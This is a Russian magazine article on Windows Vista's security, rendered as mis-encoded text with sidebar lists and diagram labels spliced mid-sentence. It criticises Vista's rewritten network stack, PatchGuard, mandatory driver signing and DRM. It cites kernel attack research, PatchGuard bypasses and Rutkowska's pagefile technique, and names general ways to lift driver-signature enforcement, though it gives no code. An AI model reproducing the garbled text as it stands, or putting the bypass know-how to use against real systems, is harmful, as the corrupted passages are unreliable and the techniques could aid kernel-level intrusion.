Êîðïîðàöèÿ Symantec ïðîâåëà ñâîå ñîá-
ñòâåííîå ðàññëåäîâàíèå (îò÷åò ìîæíî íàéòè íà
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Windows (Windows XP, Windows Server 2003/R2
VISTA/LONGHORN)
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www.symantec.com/avcenter/reference/ATR-VistaAttackSur-
face.pdf), â ðåçóëüòàòå êîòîðîãî ïðèøëà ê âåñüìà
íåóòåøèòåëüíûì âûâîäàì: êà÷åñòâî ðåàëèçàöèè
äàëåêî îò èäåàëà è ïî ñòåïåíè çàùèùåííîñòè íî-
âûé ñåòåâîé ñòåê çíà÷èòåëüíî óñòóïàåò ñòàðîìó
ñòåêó èç XP. À òóò åùå, êàê íà ãðåõ, â ñåíòÿá-
ðå 2006 õàêåð Johnny Cache îòêðûë ïðèíöèïèàëü-
íî íîâûé òèï óäàëåííûõ àòàê, îñíîâàííûé íà
îøèáêàõ ñèíõðîíèçàöèè ïîòîêîâ è äîïóñêàþùèé
çàõâàò óïðàâëåíèÿ ñ ÿäåðíûìè ïðèâèëåãèÿìè.
Óãðîçà ðàñïðîñòðàíÿåòñÿ íà âñå êîìïüþòåðû, îñ-
íàùåííûå ñåòåâûìè óñòðîéñòâàìè, îáðàáàòûâàþ-
ùèìè àñèíõðîííûå çàïðîñû (áåñïðîâîäíûå è ÈÊ-
àäàïòåðû, DSL-ìîäåìû, ãîëóáûå çóáüÿ è ò. ä.).

Íåñìîòðÿ íà ïðåäîñòàâëåííûå åé äàìïû ïà-
ìÿòè, ïîäòâåðæäàþùèå óñïåøíîå âîçäåéñòâèå íà
ðåãèñòð EIP, Microsoft íèêàê íå îòðåàãèðîâàëà íà
ïðîèñõîäÿùåå, ïåðåëîæèâ âèíó íà ðàçðàáîò÷èêîâ
äðàéâåðîâ, â êîòîðûõ è áûëà îáíàðóæåíà îøèáêà.
À âåäü îøèáêè ïîäîáíîãî òèïà íîñÿò ïîâñåìåñò-
íûé õàðàêòåð (â äàííîì ñëó÷àå îíè îáíàðóæèëèñü
â äðàéâåðàõ îò âåñüìà íåõèëîé êîíòîðû ïî èìåíè
Intel), è îïåðàöèîííàÿ ñèñòåìà íå ïðåäîñòàâëÿåò
íèêàêèõ ñðåäñòâ çàùèòû è íàâðÿä ëè ïðåäîñòàâèò
èõ â äàëüíåéøåì, ïîñêîëüêó ðàçðóøåíèÿ äàííûõ,
ïðîèñõîäÿùèå ïðè «ñðûâå» ñèíõðîíèçàöèè, íîñÿò
âåñüìà ñïåöèôè÷íûé õàðàêòåð.

Õàêåðñêàÿ ìûñëü íå ñòîèò íà ìåñòå, à íåó-
êëîííî äâèæåòñÿ âïåðåä. Microsoft æå, òåì âðåìå-

íåì, äîáàâëÿåò â Âèñòó íîâûå ìåòîäû ñèíõðîíè-
çàöèè, óïðîùàþùèå ïðîãðàììèðîâàíèåì äðàéâå-
ðîâ è ëèêâèäèðóþùèå ÷àñòü ïðîáëåì (ñì. ñîîòâåò-
ñòâóþùóþ âðåçêó), íî íè ñåãîäíÿ, íè çàâòðà ïè-
ñàòü äðàéâåðà ñïåöèàëüíî ïîä Âèñòó íèêòî íå áó-
äåò (äàæå òàêîé ãèãàíò, êàê Intel), ïîñêîëüêó ðû-
íî÷íàÿ äîëÿ w2k, XP è Server 2003 ñëèøêîì âåëè-
êà äëÿ òîãî, ÷òîáû ðàçðàáîò÷èê ìîã èñïîëüçîâàòü
API, ïðèñóòñòâóþùèå â îäíîé ëèøü Âèñòå.

vista xx86-664 —— nnightmare eedition. Â 64-ðàçðÿä-
íîé ðåäàêöèè Âèñòû (ðàáîòàþùåé íà ïëàòôîðìå
AMD x86-64) ïîÿâèëîñü ìíîæåñòâî «óëó÷øåíèé»,
îòñóòñòâóþùèõ â 32-áèòíîé âåðñèè. Microsoft ïîë-
íîñòüþ ïåðåñìîòðåëà ïîëèòèêó áåçîïàñíîñòè,
íàäåæíî çàùèòèâ ÿäðî îò... ëåãàëüíûõ ïîëüçîâà-
òåëåé ñèñòåìû, â òîì ÷èñëå è àäìèíèñòðàòîðîâ,
ïðè ýòîì îñòàâèâ äîñòàòî÷íîå êîëè÷åñòâî ëàçååê
äëÿ ìàëâàðè.

Âîò äâå êëþ÷åâûå òåõíîëîãèè, âïåðâûå ïî-
ÿâèâøèåñÿ åùå â XP/Server 2003 SP1, íî àíîíñè-
ðîâàííûå òîëüêî ñ ïðèõîäîì Âèñòû: êîíòðîëü öå-
ëîñòíîñòè ÿäðà è îáÿçàòåëüíîå òðåáîâàíèå öè-
ôðîâîé ïîäïèñè äëÿ âñåõ äðàéâåðîâ.

Íà÷íåì ñ êîíòðîëÿ öåëîñòíîñòè ÿäðà, äëÿ
ëåãèòèìíîãî âçàèìîäåéñòâèÿ ñ êîòîðûì Microsoft
ïðåäîñòàâèëà ìíîæåñòâî äîêóìåíòèðîâàííûõ (è
åùå áîëüøå íåäîêóìåíòèðîâàííûõ) API-ôóíêöèé.
Ìîäèôèöèðîâàòü ÿäðî, âìåøèâàÿñü â åãî âíó-
òðåííèå ñòðóêòóðû, êðàéíå íåæåëàòåëüíî. Ìàëåé-

øàÿ íåáðåæíîñòü ïðîåêòèðîâàíèÿ è/èëè ðåàëèçà-
öèè âåäåò ê íåñòàáèëüíîé ðàáîòå ñèñòåìû, ãîëó-
áûì ýêðàíàìè ñìåðòè, äûðàì â ñèñòåìå áåçîïàñ-
íîñòè, à â íåêîòîðûõ ñëó÷àÿõ è ê ïîòåðå âñåõ äàí-
íûõ. Ïðîàíàëèçèðîâàâ îò÷åòû îá îøèáêàõ, Micro-
soft ïðèøëà ê âûâîäó, ÷òî â áîëüøèíñòâå ñáîåâ
Windows âèíîâàòà íå îíà, à ïðîãðàììíîå îáåñïå-
÷åíèå, ñîçäàííîå ñòîðîííèìè ðàçðàáîò÷èêàìè,
ìîäèôèöèðóþùèìè ÿäðî «ïèîíåðñêèìè» ñïîñî-
áàìè, òî åñòü áåç ïðîñ÷åòà ïîñëåäñòâèé âñåõ âîç-
ìîæíûõ ñèòóàöèé.

Òåõíîëîãèÿ Patch-Guard, ðåàëèçîâàííàÿ íà
x86-64 ñèñòåìàõ, ïðèçâàíà ïîëîæèòü êîíåö ýòîìó
áåçîáðàçèþ ðàç è íàâñåãäà. 32-áèòíóþ âåðñèþ
Microsoft ðåøèëà íå òðîãàòü, ïîñêîëüêó, â ïðîòèâ-
íîì ñëó÷àå, îãðîìíîå êîëè÷åñòâî ïðîãðàìì òóò æå
îòêàçàëè áû â ðàáîòå (ïîäðîáíîñòè ìîæíî íàéòè
íà blog'e îäíîãî èç ñîòðóäíèêîâ Microsoft, çàíè-
ìàþùåãîñÿ ýòîé ïðîáëåìîé: http://blogs.msdn.com/
windowsvistasecurity/archive/2006/08/11/695993.aspx).

Êàê èçâåñòíî, îïåðàöèîííûå ñèñòåìû ñå-
ìåéñòâà NT èñïîëüçóþò äâà êîëüöà çàùèòû èç ÷å-
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Reserved Adress Space

Win32k.sys

Wow64.dll

32-bit ntdll.dll 32-bit kernel32.dll 32-bit user32.dll

Wow64win.dll

64-bit ntdll.dll

64-bit ntdll.dll

32-bit modules

Àðõèòåêòóðà ÿäðà 32-ðàçðÿäíîé âåðñèè âèñòû

ÎÑÍÎÂÍÛÅ
ÄÎÑÒÎÏÐÈÌÅ×ÀÒÅËÜÍÎÑÒÈ
ÂÈÑÒÛ

01
ÇÀÂÛØÅÍÍÛÅ ÒÐÅÁÎÂÀÍÈß 
Ê ÎÁÎÐÓÄÎÂÀÍÈÞ;
02
ÎÏÒÈÌÈÇÀÖÈß ÔÀÉËÀ ÏÎÄÊÀ×ÊÈ 
(ÍÀ ÑÈÑÒÅÌÀÕ, ÑÒÐÀÄÀÞÙÈÕ
ÍÅÄÎÑÒÀÒÊÎÌ ÏÀÌßÒÈ);
03
ÎÏÒÈÌÈÇÀÖÈß ÏÎÄ
ÌÍÎÃÎÏÐÎÖÅÑÑÎÐÍÛÅ ÑÈÑÒÅÌÛ 
(ÎÒ 2-ßÄÅÐÍÛÕ ÖÏ È ÂÛØÅ);
04
ÌÅÍÜØÀß ÂÅÐÎßÒÍÎÑÒÜ ÏÎÒÅÐÈ
ÄÀÍÍÛÕ Â ÑËÓ×ÀÅ ÑÁÎÅÂ ÈËÈ
ÎÒÊËÞ×ÅÍÈß ÏÈÒÀÍÈß;
05
ÍÎÂÛÉ ÏÎËÜÇÎÂÀÒÅËÜÑÊÈÉ 
ÈÍÒÅÐÔÅÉÑ Ñ ÊÓ×ÅÉ ÑÏÅÖÝÔÔÅÊÒÎÂ,
ÐÅÀËÈÇÎÂÀÍÍÛÉ ÍÀ .NET'Å;
06
ÎÙÓÒÈÌÛÅ ÒÎÐÌÎÇÀ È ÏÎÒÅÐß
ÏÐÎÈÇÂÎÄÈÒÅËÜÍÎÑÒÈ ÂÑËÅÄÑÒÂÈÅ 
ÄÂÓÕ ÏÐÅÄÛÄÓÙÈÕ ÏÓÍÊÒÎÂ;
07
ÏÅÐÅÏÈÑÀÍÍÛÉ Ñ ÍÓËß ÑÅÒÅÂÎÉ 
ÑÒÅÊ ÑÎÄÅÐÆÈÒ ÊÓ×Ó ÄÛÐ, 
ÄÅËÀÞÙÈÕ ÂÈÑÒÓ ÍÅÁÅÇÎÏÀÑÍÎÉ;
08
ÏÎÄÄÅÐÆÊÀ ÍÎÂÎÃÎ ÆÅËÅÇÀ 
(Â ×ÀÑÒÍÎÑÒÈ: ACPI 2.0, PCI EXPRESS, 
HYBRID-ÍÎÑÈÒÅËÅÉ È Ò.Ä.);
09
ÏÎÄÄÅÐÆÊÀ ÑÒÀÐÎÃÎ ÆÅËÅÇÀ 
È ÏÐÎÃÐÀÌÌÍÎÃÎ ÎÁÅÑÏÅ×ÅÍÈß
ÇÍÀ×ÈÒÅËÜÍÎ ÓÕÓÄØÅÍÀ.

NT Executive

Kernel Mode

User Mode

0x00000000’7FFEFFFF or
0x00000000’FFFEFFFF



òûðåõ, ïðåäîñòàâëÿåìûõ ïðîöåññîðàìè ñåìåé-
ñòâà x86. Ïî÷åìó? Äåëî â òîì, ÷òî NT èçíà÷àëüíî
ïðîåêòèðîâàëàñü êàê ïåðåíîñèìàÿ ñèñòåìà, à íå-
êîòîðûå èç ïðîöåññîðîâ, íà êîòîðûå åå ïëàíèðî-
âàëîñü ïåðåíåñòè, ñîäåðæàëè òîëüêî äâà êîëüöà,
âûíóæäàÿ ðàçðàáîò÷èêîâ îðèåíòèðîâàòüñÿ íà íà-
èáîëåå «ñïàðòàíñêóþ» êîíôèãóðàöèþ.

Ïðè ïåðåíîñå ñèñòåìû íà ïëàòôîðìó x86-64
ó Microsoft ïîÿâèëñÿ ðåàëüíûé øàíñ çàáèòü íà
«ñïàðòàíñêèå» êîíôèãóðàöèè äàâíî óìåðøèõ ïðî-
öåññîðîâ è «ðàçâåñòè» ÿäðî, äðàéâåðà è ïðèêëàä-
íîé êîä ïî òðåì ðàçíûì êîëüöàì, çàùèòèâ ÿäðî îò
ïàãóáíûõ âîçäåéñòâèé äðàéâåðîâ íà àïïàðàòíîì
óðîâíå íà âñå 100%. Îäíàêî Microsoft ïîøëà ñâîèì
ïóòåì, — îãðàíè÷èëàñü ïåðèîäè÷åñêîé ïðîâåðêîé
öåëîñòíîñòè îñíîâíûõ ñòðóêòóð, âûçûâàÿ «ñòîðî-
æåâóþ» ïðîöåäóðó ïðèáëèçèòåëüíî îäèí ðàç â 5-10
ñåêóíä. Õîðîøàÿ ïîëó÷èëàñü çàùèòà, íå÷åãî ñêà-
çàòü… Ìàëâàðü áóêâàëüíî ðûäàåò îò ñ÷àñòüÿ. 5 ñå-
êóíä — ýòî æå öåëàÿ âå÷íîñòü äëÿ ïðîöåññîðà, óñ-
ïåâàþùåãî âûïîëíèòü çà ýòî âðåìÿ ìèëëèîíû ìà-
øèííûõ êîìàíä, ñ ëåãêîñòüþ îòêëþ÷àþùèõ Patch-
Guard, ïîñêîëüêó çàùèòà è çëîâðåäíûé êîä îáëà-
äàþò îäèíàêîâûìè ïðèâèëåãèÿìè. Òàê ÷òî íà õàêå-
ðîâ ýòà çàùèòà íå ðàñïðîñòðàíÿåòñÿ (îïèñàíèå òåõ-
íèêè îáõîäà Patch-Guard'à ìîæíî íàéòè â ñòàòüå
«Bypassing PatchGuard on Windows x64» íà http://-
uninformed.org/index.cgi?v=3&a=3&t=sumry è â ïðåçåíòà-
öèè Æàííû Ðóòêîâñêîé «Rootkit Hunting vs. Com-
promise Detection», ïîäãîòîâëåííîé äëÿ ôåäåðàëü-
íîé êîíôåðåíöèè Black Hat: invisiblethings.org/pa-
pers/rutkowska_bheurope2006.ppt — äà! äà! äà! îíà äå-
âóøêà è õàêåð îäíîâðåìåííî).

À âîò ëåãàëüíûì ðàçðàáîò÷èêàì àíòèâèðó-
ñîâ, áðàíäìàóýðîâ è ïðî÷èõ ïðîãðàìì ïîäîáíîãî
ðîäà ïðèõîäèòñÿ ëèáî ñâîðà÷èâàòü ñâîé áèçíåñ,
ëèáî áóõàòüñÿ â êîëåíè Microsoft è ïðîñèòü ïðåäî-
ñòàâèòü èì «ðó÷êó» â âèäå ñîîòâåòñòâóþùåãî âû-
çîâà API, à â èäåàëå — èíòåãðèðîâàòü èõ ïðîäóêò â
ÿäðî (íî ðàçðàáîò÷èêîâ ìíîãî, à èíòåãðèðîâàòü
ìîæíî òîëüêî îäíîãî, è âîâñå íå ôàêò, ÷òî îí áó-
äåò ëó÷øèì èç âñåõ èìåþùèõñÿ). Ñîáñòâåííî ãî-
âîðÿ, êîå-êàêàÿ API äëÿ ýòîãî ïîÿâèëàñü åùå â NT,

è âñÿêèé æåëàþùèé ìîã óñòàíîâèòü ñâîé ñîá-
ñòâåííûé ôèëüòð, êîíòðîëèðóþùèé ñåòåâîé òðà-
ôèê èëè ñîäåðæèìîå îòêðûâàåìûõ ôàéëîâ. Ïî÷å-
ìó æå òîãäà ðàçðàáîò÷èêè ïðåäïî÷ëè ìîäèôèöè-
ðîâàòü ÿäðî ñèñòåìû? Äà ïîòîìó, ÷òî ýòî íàäåæ-
íåå! Ëåãêîñòü óñòàíîâêè ëåãàëüíîãî ôèëüòðà êîì-
ïåíñèðóåòñÿ ëåãêîñòüþ åãî ñíÿòèÿ, íå ãîâîðÿ óæå î
òîì, ÷òî âñå èìåþùèåñÿ íà äàííûé ìîìåíò ôèëü-
òðû ðàáîòàþò íà äîâîëüíî âûñîêîì óðîâíå, ÷òî
ïîçâîëÿåò çëîâðåäíûì ïðîãðàììàì ëåãêî îáõî-
äèòü èõ! Ëàäíî áû Microsoft çàêðûëà ÿäðî îòäåëü-
íûì êîëüöîì, çàùèòèâ åãî è îò «õîðîøèõ», è îò
«ïëîõèõ» ïðîãðàìì. Òàê âåäü íåò! Ëåãàëüíûå ïðî-
ãðàììû âûíóæäåíû ëèáî îòêëþ÷àòü Patch-Guard,
÷òî ÷ðåâàòî äàëåêî èäóùèìè ïîñëåäñòâèÿìè, ëè-
áî ñòàíîâèòñÿ æåðòâîé rootkit'îâ.

×òîáû íèêàêîé çëîâðåäíûé êîä íå ñìîã ïðî-
áèòüñÿ íà óðîâåíü ÿäðà, Microsoft çàáëîêèðîâàëà
çàãðóçêó äðàéâåðîâ áåç öèôðîâîé ïîäïèñè. Äàæå
îáëàäàÿ àäìèíèñòðàòîðñêèìè ïðàâàìè, âëàäåëåö
ñèñòåìû íå ìîæåò çàãðóçèòü íåïîäïèñàííûé äðàé-
âåð. Ñíÿòü áëîêèðîâêó ìîæíî òðåìÿ ïóòÿìè: ïîä-
êëþ÷èòü ÿäåðíûé îòëàä÷èê, ïðè ñòàðòå ñèñòåìû
íàæàòü <F8> èëè îòðåäàêòèðîâàòü îïöèè çàãðóçêè
â boot.ini. Ñòîï! Â Âèñòå óæå íåò boot.ini, è îïöèè
çàãðóçêè õðàíÿòñÿ â áèíàðíîì ôîðìàòå, ìàíèïó-
ëèðîâàòü êîòîðûì ìîæíî øòàòíîé óòèëèòîé
BCDedit. Òàê æå â ñîñòàâ SDK âõîäèò òåñòîâàÿ öè-
ôðîâàÿ ïîäïèñü, ñîäåðæàùàÿ ñëîâî «test» è ïðåä-
íàçíà÷åííàÿ èñêëþ÷èòåëüíî äëÿ îòëàäî÷íûõ öå-
ëåé. Íè îäèí èç ýòèõ ñïîñîáîâ äëÿ êîììåð÷åñêèõ
ïðîäóêòîâ, ðàçóìååòñÿ, íå ïðèãîäåí, è ôèíàëüíàÿ
âåðñèÿ äðàéâåðà äîëæíà áûòü ïîäïèñàíà ïîëíî-
öåííîé öèôðîâîé ïîäïèñüþ, êîòîðóþ â íàñòîÿùåé
ìîìåíò óïîëíîìî÷åíà âûäàâàòü òîëüêî îäíà êîì-
ïàíèÿ — Verisign. Ñåðòèôèêàò íà÷àëüíîãî óðîâíÿ
ñòîèò $500 è âûäàåòñÿ òîëüêî àìåðèêàíñêèì ôèð-
ìàì èëè ôèðìàì, èìåþùèì ñâîå ïðåäñòàâèòåëü-
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ñòâî â ÑØÀ. Ïîäðîáíîñòè î ïîëèòèêå öèôðîâîé
ïîäïèñè ÷èòàéòå â îôèöèàëüíîì äîêóìåíòå «Ker-
nel-Mode Code Signing Walkthrough» îò Microsoft:
http://download.microsoft.com/download/9/c/5/9c5b2167-
8017-4bae-9fde-d599bac8184a/KMCS_Walkthrough.doc.

Ëîãèêà Microsoft òàêîâà: íå áóäåò ñåðòèôèêà-
òà — íå áóäåò è ïîäïèñè, à ðàç íå áóäåò ïîäïèñè,
õàêåð íå ñìîæåò çàãðóçèòü çëîâðåäíûé äðàéâåð,
ìîäèôèöèðóþùèé ÿäðî è óñòàíàâëèâàþùèé root-
kit, ñêðûâàþùèé ìàëâàðü îò ãëàç àäìèíèñòðàòîðà.
Íà ñàìîì äåëå, áîðüáà ñ ìàëâàðüþ íèêîãäà íå ïîä-
íèìàëàñü íà òàêîé âûñîêèé óðîâåíü, äà è ïðîöåäó-
ðà ñåðòèôèêàöèè íîñèò ÷èñòî ôîðìàëüíûé õàðàê-
òåð, ïîðî÷íîñòü êîòîðîãî óæå áûëà ïðîäåìîíñòðè-
ðîâàíà êîìïîíåíòàìè ActiveX — «Âû äîâåðÿåòå
ôèðìå «John Doe» èç ìåñòå÷êà õóõðû-ìóõðû»?

Ïðîñòî Microsoft õî÷åò óêðåïèòü ñâîè ïîçè-
öèè íà ðûíêå, âûòåñíÿÿ ñòîðîííèõ ðàçðàáîò÷èêîâ
è ïîçèöèîíèðóÿ ñâîþ ïëàòôîðìó êàê èäåàëüíîå
ñðåäñòâî äëÿ ïðîñìîòðà premium media content'à
ñëåäóþùåãî ïîêîëåíèÿ. Ôàêòè÷åñêè, âñå èçìåíå-
íèÿ â Âèñòå êðóòÿòñÿ âîêðóã DRM — Digital Rights
Management — Óïðàâëåíèÿ Öèôðîâûìè Ïðàâàìè.
Microsoft ãàðàíòèðóåò, ÷òî çàøèôðîâàííûé öè-
ôðîâîé ìåäèà-ïîòîê äàííûõ íèãäå íå áóäåò ïå-
ðåõâà÷åí çëîñòíûìè ïèðàòàìè. Åðóíäà, êîíå÷íî.
Ñãðàáèòü åãî — ïëåâîå äåëî (è òàêèå óòèëèòû óæå
íàïèñàíû), à âîò ó ëåãàëüíûõ ïîëüçîâàòåëåé ñè-
ñòåìû ïîÿâëÿþòñÿ îãðîìíûå ïðîáëåìû. Äàæå
åñëè îíè íå ñìîòðÿò ôèëüìû, è íå ñëóøàþò ìóçû-
êó, âñå ðàâíî îíè âûíóæäåíû ìèðèòüñÿ ñ ìíîãî÷è-
ñëåííûìè îãðàíè÷åíèÿìè, íàëàãàåìûìè ýòèìè
òåõíîëîãèÿìè.

Âèñòà — ýòî ïåðâàÿ ñèñòåìà, â êîòîðûé àä-
ìèíèñòðàòîð, îáðàçíî ãîâîðÿ, çàêëþ÷åííûé. Ïó-
ñêàé äàæå ñàìûé ñòàðøèé ñðåäè âñåõ çàêëþ÷åí-
íûõ. ×òî ýòî ìåíÿåò? Ñâîáîäà â îáìåí íà… ýé, êòî
òàì ñêàçàë «áåçîïàñíîñòü»?! Îòñóòñòâèå ðû÷àãîâ
óïðàâëåíèÿ äåëàåò àäìèíèñòðàòîðà áåçâëàñòíûì
è íåñïîñîáíûì îáíàðóæèòü ïðèñóòñòâèå ÷åãî-òî
ïîñòîðîííåãî, òåì áîëåå ÷òî è îáíàðóæèâàòü-òî
íå÷åì. Âñå çàùèòíûå ñðåäñòâà (àíòèâèðóñû, áðàí-
äìàóýðû) âûíóæäåíû ðàáîòàòü íà âûñîêîì óðîâíå
÷åðåç ñêóäíûé íàáîð API-ôóíêöèé, è çëîâðåäíîìó
âèðóñó íè÷åãî íå ñòîèò «ïîäíûðíóòü» ïîä íèõ è êàê
ñëåäóåò çàìàñêèðîâàòüñÿ. Íè÷åãî íå íàïîìèíàåò?
Òû (àäìèíèñòðàòîð) âèäèøü ñóðêà? Âîò è ÿ (àíòè-
âèðóñ) íå âèæó. À îí åñòü!

Ïðîáèòüñÿ íà óðîâåíü ÿäðà ìîæíî è áåç öè-
ôðîâîé ïîäïèñè, ÷òî íàãëÿäíî ïðîäåìîíñòðèðî-
âàëà íà àìåðèêàíñêîé êîíôåðåíöèè Black Hat
Æàííà Ðóòêîâñêàÿ, âîñïîëüçîâàâøèñü òåì, ÷òî
ôàéë ïîäêà÷êè äîñòóïåí íà ñåêòîðíîì óðîâíå ÷å-
ðåç óñòðîéñòâî «\\.\C:», ïðåäâàðèòåëüíî çàïóñòèâ
ïðîãðàììó, «ñêóøàâøóþ» âñþ äîñòóïíóþ ïàìÿòü
è çàñòàâèâøóþ îïåðàöèîííóþ ñèñòåìó âûòåñíÿòü
êîä äðàéâåðîâ íà äèñê: www.invisiblethings.org/pa-
pers/joanna%20rutkowska%20-%20subverting%20vi-
sta%20kernel.ppt.

È õîòÿ ðåàêöèÿ Microsoft áûëà íà óäèâëå-
íèå ñïîêîéíîé (ïîäóìàåøü, ïîäëîìàëè áåòó!),

õàêåðû óæå ïîòèðàþò ðóêè è ñâîðà÷èâàþò øòî-
ïîðîì õâîñò â ïðåäâêóøåíèè íîâîé ñåðèè àòàê, à
ïðîèçâîäèòåëè æåëåçà è ðàçðàáîò÷èêè äðàéâå-
ðîâ ïüþò ãîðüêóþ, ìàòåðÿñü âñåìè ñëîâàìè, êî-
òîðûå òîëüêî çíàþò (à çàîäíî èçîáðåòàþò ìíîãî
íîâûõ ñëîâ), ïðèêèäûâàÿ, âî ÷òî èì îáîéäåòñÿ
ïåðåíîñ è ñåðòèôèêàöèÿ óæå îòëàæåííîãî êîäà
íà íîâóþ ñèñòåìó. Ìíîãèå ñèñòåìíûå ïðîãðàì-
ìèñòû îêàæóòñÿ âûäàâëåííûìè ñ ðûíêà. Ïîëüçî-
âàòåëÿì ïðèäåòñÿ îáíîâèòü æåëåçî, à âìåñòå ñ
íèì è çíà÷èòåëüíóþ ÷àñòü ñâîèõ ëþáèìûõ ïðî-
ãðàìì, ìíîãèå èç êîòîðûõ óæå äàâíî çàáðîøåíû
è íå ïîääåðæèâàþòñÿ.

âîò òòàêàÿ, ççíà÷èò, ííàïðÿæåííàÿ ññèòóàöèÿ. Êî-
íå÷íî, ñ òå÷åíèåì âðåìåíè âñå ýòè ïðîáëåìû áó-
äóò îáõîäèòü âñåìè âîçìîæíûìè ïóòÿìè. Â Ñåòè
ïîÿâèòñÿ ìíîæåñòâî ïðîãðàìì, îòêëþ÷àþùèõ íå-
íóæíûå çàùèòíûå ìåõàíèçìû è âîçâðàùàþùèõ
àäìèíèñòðàòîðó âñå íåîáõîäèìûå ïðàâà. Ïðîèç-
âîäèòåëüíîñòü æåëåçà ÷åðåç íåñêîëüêî ëåò âîç-
ðàñòåò íàñòîëüêî, ÷òî ñèñòåìíûì òðåáîâàíèÿì
Âèñòû áóäåò óäîâëåòâîðÿòü äàæå ñàìûé äåøå-
âûé êîìïüþòåð. Ê òîìó æå òåõíîëîãèè âèðòóàëè-
çàöèè, óæå ïîÿâèâøèåñÿ â ïðîöåññîðàõ Intel Pen-
tium (Vanderpool)/AMD Althorn (Pacifica) è ïîääåð-
æèâàåìûå, â ÷àñòíîñòè, VM Ware 5.5, óâåëè÷èâà-
þò ñêîðîñòü àïïàðàòíîé ýìóëÿöèè âî ìíîãî ðàç,
ïîçâîëÿÿ çàïóñêàòü íåñêîëüêî îïåðàöèîííûõ ñè-
ñòåì îäíîâðåìåííî. Ýòî ñíèìàåò ïðîáëåìó ñîâ-
ìåñòèìîñòè/íåñîâìåñòèìîñòè ïðîãðàììíîãî
îáåñïå÷åíèÿ, íî îñòàâëÿåò ìàøèíó óÿçâèìîé ïå-
ðåä ñåòåâûìè àòàêàìè.

Ëè÷íî äëÿ ñåáÿ ìûùúõ ðåøèë, ÷òî áóäåò ñè-
äåòü íà w2k ñòîëüêî, ñêîëüêî ýòî âîîáùå âîçìîæ-
íî, ïîñëå ÷åãî ìèãðèðóåò íà FreeBSD, ãäå öàðèò
ïîëíàÿ ñâîáîäà, ãäå ðåøåíèÿ ïðèíèìàþ îí, à íå
ïàðíè èç Ðåéìîíäà!

ãåíåàëîãèÿ ââèñòû. Àíàòîìè÷åñêè Âèñòà
ïðåäñòàâëÿåò ñîáîé ñëåãêà «äîðàáîòàííîå» ÿäðî
Server 2003 SP1 (÷åì, ñîáñòâåííî, è îáúÿñíÿåòñÿ
åå ÿðêî âûðàæåííàÿ ñåðâåðíàÿ îðèåíòàöèÿ) ñ ïå-
ðåïèñàííûì ñåòåâûì ñòåêîì, íîâûì ïîëüçîâà-
òåëüñêèì èíòåðôåéñîì è êó÷åé âûáðîøåííûõ âå-
ùåé, â ÷àñòíîñòè: èñ÷åç «ïðîäâèíóòûé ïîëüçîâà-
òåëüñêèé èíòåðôåéñ», òåïåðü åñòü òîëüêî îäèí òèï
èíòåðôåéñà — «äëÿ äåáèëîâ»; Windows Messenger
áûë óäàëåí áåç êàêîé-ëèáî çàìåíû; ýòó æå ó÷àñòü
ðàçäåëèë NetMeeting, âûòåñíåííûé Windows
Meeting Space; åùå Microsoft íàêîíåö-òî îòîäðàëà
Internet Explorer (åãî ìíîãèå óæå îòîäðàëè è îòäè-

ðàòü áóäóò :D – ïðèì. Ëîçîâñêîãî), è òåïåðü îí óæå
íå ÷àñòü ñèñòåìû, à îòäåëüíûé êîìïîíåíò, çà êîòî-
ðûé, ïî-âèäèìîìó, ïðèäåòñÿ ïëàòèòü êîíêðåòíûå
äåíüãè; ïîïóëÿðíàÿ òåìà «Luna» îêàçàëàñü ïðèãî-
âîðåííîé ê ðàññòðåëó áåç îáúÿñíåíèÿ ïðè÷èí è áåç
âñÿêîãî ñëåäñòâèÿ (íó êîìó îíà, â ñàìîì äåëå, ìå-
øàëà?! Èëè íà DVD ìåñòà íå õâàòèëî?). Ïðîòîêîë
MS-CHAP v1 áîëåå íå ïîääåðæèâàåòñÿ, êàê íå ïîä-
äåðæèâàþòñÿ ìàòåðèíñêèå ïëàòû áåç ACPI è âîðîõ
äðóãîãî «ìîðàëüíî óñòàðåâøåãî æåëåçà».

Äðóãèìè ñëîâàìè, Âèñòà — ýòî ãèáðèä, ïî-
ëó÷åííûé ïóòåì ñêðåùèâàíèÿ èçóðîäîâàííîãî
Server 2003 S1 ñ óðåçàííîé è ïîêàëå÷åííîé XP.
Ïîëíûé ïåðå÷åíü îòñóòñòâóþùèõ ôè÷ ìîæíî íàé-
òè â áåñïëàòíîé ýíöèêëîïåäèè wikipedia:
http://en.wikipedia.org/wiki/Features_new_to_Windows_Vi-
sta#XP_features_excluded.

À âîò îáåùàííàÿ è øèðîêî ðàçðåêëàìèðî-
âàííàÿ ôàéëîâàÿ ñèñòåìà WinFS, ê ñ÷àñòüþ, òàê è
íå áûëà ðåàëèçîâàíà («ê ñ÷àñòüþ» ïîòîìó,
÷òî â ïðîòèâíîì ñëó÷àå ìû áû òåðÿëè ñîòíè ãèãà-
áàéò äàííûõ òîëüêî ïîòîìó, ÷òî êîãî-òî íå íàó÷èëè
ïðîãðàììèðîâàòü), ïîäðîáíåå ñìîòðè: http://en.wiki-
pedia.org/wiki/WinFS.

Äðóãàÿ, ÷óòü ìåíåå ðàçðåêëàìèðîâàííàÿ ôè÷à
ïîä íàçâàíèåì NGSCB (Next-Generation Secure Com-
puting Base — Êîìïüþòåðíàÿ Áàçà Áåçîïàñíîñòè Íî-
âîãî Ïîêîëåíèÿ) ðàçäåëèëà òó æå ó÷àñòü: http://en.wiki-
pedia.org/wiki/Next-Generation_Secure_Computing_Base.

çàêëþ÷åíèå. Óñòàíîâèâ Âèñòó íà ñâîé êîì-
ïüþòåð, íå îáðàùàé âíèìàíèå íà òî, êàê îíà òîð-
ìîçèò. Ýòî èäåò èíäåêñàöèÿ âñåõ ôàéëîâ äëÿ áû-
ñòðîãî ïîèñêà, òàê ÷òî åå íèçêàÿ ïðîèçâîäèòåëü-
íîñòü â ýòîò ìîìåíò — íå ïîêàçàòåëü. Ïîñëå çà-
âåðøåíèÿ èíäåêñàöèè ñ ñèñòåìîé áóäåò ìîæíî
âïîëíå êîìôîðòíî ðàáîòàòü äàæå íà îäíîïðî-
öåññîðíîé ìàøèíå, õîòÿ, êëàñòåð, êîíå÷íî,
íå ïîìåøàë áû
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Ñðîêè âûõîäà îïåðàöèîí-
íîé ñèñòåìû, ðàíåå èçâåñò-
íîé ïîä êîäîâûì èìåíåì
Longhorn, ïåðåíîñèëèñü
íåîäíîêðàòíî, óæå íàïèñàí-
íûé êîä õîðîíèëñÿ çàæèâî
è âíîâü ïåðåïèñûâàëñÿ ñ
íóëÿ. Ïîãîâàðèâàëè äàæå,

÷òî Longhorn íå âûéäåò íè-
êîãäà, à åñëè è âûéäåò, òî íà
ýòî óðîäèùå íèêòî äîáðî-
